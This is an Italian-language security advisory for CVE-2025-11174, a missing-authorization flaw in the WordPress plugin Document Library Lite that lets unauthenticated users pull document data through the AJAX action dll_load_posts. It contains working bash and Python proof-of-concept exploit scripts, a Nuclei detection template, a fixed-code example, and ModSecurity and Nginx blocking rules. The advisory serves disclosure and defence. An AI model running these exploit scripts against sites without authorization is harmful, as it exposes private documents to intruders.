
Document Library Lite <= 1.1.6 - Mancata autorizzazione all'esposizione di informazioni sensibili | CVE-2025-11174
Parole chiave: CVE-2025-11174, vulnerabilità di Document Library Lite, divulgazione di informazioni, sicurezza WordPress, exploit AJAX non autenticato, vulnerabilità plugin WordPress, CWE-862, sicurezza plugin documenti WordPress, bypass autorizzazione, WordPress CVE 2025
Vulnerabilità di Divulgazione di Informazioni nel Plugin WordPress Document Library Lite (CVE-2025-11174) – Fallo di sicurezza che consente accesso non autenticato a dati documentali sensibili nel plugin libreria documenti WordPress.
È stata scoperta una vulnerabilità critica di bypass dell'autorizzazione nel plugin WordPress Document Library Lite che permette a attaccanti non autenticati di accedere a informazioni sensibili sui documenti senza la corretta autenticazione.
Scoperta da: Kai Aizen & Avraham Shemesh (SnailSploit)
Pubblicata: 1 novembre 2025
Punteggio CVSS: 5.3 (Medio)
CWE: CWE-862 – Autorizzazione Mancante
Plugin: Document Library Lite
Fornitore: Barn2 Plugins
Tipo di Attacco: Divulgazione di Informazioni Non Autenticata
Privilegi Richiesti: Nessuno (Attacco Non Autenticato)
Il plugin Document Library Lite per WordPress contiene una vulnerabilità di autorizzazione impropria in tutte le versioni fino alla 1.1.6 inclusa. Il plugin espone un'azione AJAX non autenticata dll_load_posts che restituisce una tabella JSON di dati documentali senza eseguire controlli nonce o di capacità.
Questa vulnerabilità consente ad attaccanti non autenticati di:
Nota: Il punteggio CVSS di 5.3 (gravità Media) riflette una divulgazione limitata di informazioni. Sebbene la vulnerabilità permetta accesso non autenticato ai dati dei documenti, l'impatto è valutato come Basso per la riservatezza, senza impatto su integrità o disponibilità.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Dettaglio CVSS v3.1:
L'azione AJAX dll_load_posts è registrata senza i dovuti controlli di autenticazione o autorizzazione:
// Codice vulnerabile (semplificato)
add_action('wp_ajax_nopriv_dll_load_posts', 'dll_load_posts_callback');
Il prefisso wp_ajax_nopriv_ indica che questa azione è accessibile a utenti non autenticati, e la funzione callback non implementa:
POST /wp-admin/admin-ajax.php
action=dll_load_posts
La vulnerabilità può essere sfruttata attraverso l'endpoint admin-ajax.php di WordPress senza autenticazione.
⚠️ Solo a Scopo Educativo e di Test Autorizzato
#!/bin/bash
# CVE-2025-11174 PoC
TARGET_URL="$1"
if [ -z "$TARGET_URL" ]; then
echo "Usage: $0 <target_url>"
echo "Example: $0 https://example.com"
exit 1
fi
echo "[*] CVE-2025-11174 - Document Library Lite Information Disclosure PoC"
echo "[*] Target: $TARGET_URL"
echo ""
# Send request to vulnerable AJAX endpoint
curl -s -X POST "$TARGET_URL/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=dll_load_posts" \
| python3 -m json.tool
echo ""
echo "[+] If you see document data above, the site is vulnerable!"
#!/usr/bin/env python3
"""
CVE-2025-11174 - Document Library Lite Information Disclosure PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
def exploit(target_url):
ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php"
print(f"[*] CVE-2025-11174 - Document Library Lite PoC")
print(f"[*] Target: {target_url}")
print(f"[*] AJAX Endpoint: {ajax_url}\n")
data = {'action': 'dll_load_posts'}
try:
response = requests.post(ajax_url, data=data, timeout=10)
if response.status_code == 200:
print("[+] Request successful!\n")
try:
json_data = response.json()
print("[+] Retrieved document data:")
print(json.dumps(json_data, indent=2))
print("\n[!] Site is VULNERABLE to CVE-2025-11174")
except json.JSONDecodeError:
print("[-] No JSON response received")
print(f"Response: {response.text[:200]}")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <target_url>")
print(f"Example: {sys.argv[0]} https://example.com")
sys.exit(1)
target = sys.argv[1]
exploit(target)
Azione Immediata Richiesta:
admin-ajax.php con action=dll_load_postsTramite WordPress Admin:
Usando WP-CLI:
wp plugin update document-library-lite
Assicurarsi che tutti i gestori AJAX implementino controlli di sicurezza adeguati:
// Esempio di corretta sicurezza AJAX
add_action('wp_ajax_dll_load_posts', 'dll_load_posts_callback');
function dll_load_posts_callback() {
// Verifica nonce
if (!wp_verify_nonce($_POST['nonce'], 'dll_nonce')) {
wp_die('Nonce non valido');
}
// Controlla le capacità
if (!current_user_can('read')) {
wp_send_json_error('Permessi insufficienti');
wp_die();
}
// Il tuo codice sicuro qui
}
# Verifica se è installata una versione vulnerabile
wp plugin list | grep -i "document-library-lite"
Template Nuclei:
id: CVE-2025-11174
info:
name: Document Library Lite - Unauthenticated Information Disclosure
author: security-research
severity: medium
description: Document Library Lite plugin for WordPress is vulnerable to information disclosure
reference:
- https://github.com/[your-repo]/CVE-2025-11174
tags: cve,cve2025,wordpress,wp-plugin,unauth
requests:
- method: POST
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php"
body: "action=dll_load_posts"
matchers-condition: and
matchers:
- type: word
words:
- "data"
- "recordsTotal"
condition: and
- type: status
status:
- 200
Regola ModSecurity:
SecRule REQUEST_URI "@contains /wp-admin/admin-ajax.php" \
"chain,id:1000001,phase:2,t:none,t:urlDecodeUni,t:normalizePathWin,\
log,deny,status:403,msg:'Tentativo di Exploit CVE-2025-11174'"
SecRule ARGS:action "@streq dll_load_posts" "t:none"
Regola Nginx/OpenResty:
if ($request_uri ~* "admin-ajax\.php") {
if ($args ~* "action=dll_load_posts") {
return 403;
}
}
Ricercatori:
Processo di Divulgazione: Divulgazione coordinata
Queste informazioni sono fornite esclusivamente per scopi di ricerca sulla sicurezza e difensivi. Qualunque sfruttamento di questa vulnerabilità per scopi malintenzionati è illegale e non etico. Ottenere sempre la debita autorizzazione prima di testare sistemi che non si possiedono.
Per domande o informazioni aggiuntive su questa vulnerabilità:
Ultimo aggiornamento: 2 novembre 2025
Il writeup completo di questo progetto, la metodologia e la ricerca correlata si trovano su:
https://snailsploit.com/security-research/cves/cve-2025-11174/
Creata da Kai Aizen — ricercatore indipendente di sicurezza offensiva.
snailsploit.com · Ricerca · Framework · GitHub · LinkedIn · ResearchGate · X/Twitter
Stesso attacco. Substrato diverso.
| Metrica | Valore |
|---|
| Vettore d'Attacco | Rete (AV:N) |
| Complessità d'Attacco | Bassa (AC:L) |
| Privilegi Richiesti | Nessuno (PR:N) |
| Interazione Utente | Nessuna (UI:N) |
| Scope | Invariato (S:U) |
| Riservatezza | Bassa (C:L) |
| Integrità | Nessuna (I:N) |
| Disponibilità | Nessuna (A:N) |